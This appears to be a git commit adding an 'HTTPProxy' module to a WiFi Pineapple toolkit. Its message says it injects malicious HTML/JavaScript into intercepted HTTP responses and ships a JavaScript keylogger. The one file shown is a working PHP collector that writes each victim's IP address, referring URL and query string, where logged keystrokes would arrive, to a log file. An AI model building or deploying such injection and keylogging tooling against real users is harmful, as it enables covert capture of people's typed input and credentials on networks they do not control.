HTTPProxy Module (#1)

HTTPProxy will allow you to intercept the HTTP response and injection a malicious HTML/JavaScript code, also it has a keylogger written in JavaScript which allows the attacker to log the user inputs
This commit is contained in:
malduhaymi
2017-11-19 23:49:08 +03:00
committed by Sebastian Kinne
parent d0aa1e38ef
commit d613645576
11 changed files with 958 additions and 0 deletions

View File

@@ -0,0 +1,33 @@
<?php
$ipaddress = '';
if (getenv('HTTP_CLIENT_IP'))
$ipaddress = getenv('HTTP_CLIENT_IP');
else if(getenv('HTTP_X_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_X_FORWARDED_FOR');
else if(getenv('HTTP_X_FORWARDED'))
$ipaddress = getenv('HTTP_X_FORWARDED');
else if(getenv('HTTP_FORWARDED_FOR'))
$ipaddress = getenv('HTTP_FORWARDED_FOR');
else if(getenv('HTTP_FORWARDED'))
$ipaddress = getenv('HTTP_FORWARDED');
else if(getenv('REMOTE_ADDR'))
$ipaddress = getenv('REMOTE_ADDR');
else
$ipaddress = 'UNKNOWN';
$url="URL : ".$_SERVER['HTTP_REFERER'] ;
$string= "QUERY_STRING : " . $_SERVER['QUERY_STRING'];
$ip= "USER IP: ".$ipaddress;
//$myfile = fopen("/pineapple/modules/HTTPProxy/assets/logFile.txt", "w") or die("Unable to open file!");
//fwrite($myfile, $txt);
$txt = $url."\n". $string."\n".$ip."\n";
$file="/pineapple/modules/HTTPProxy/assets/logFile.txt";
file_put_contents($file, $txt, FILE_APPEND);
?>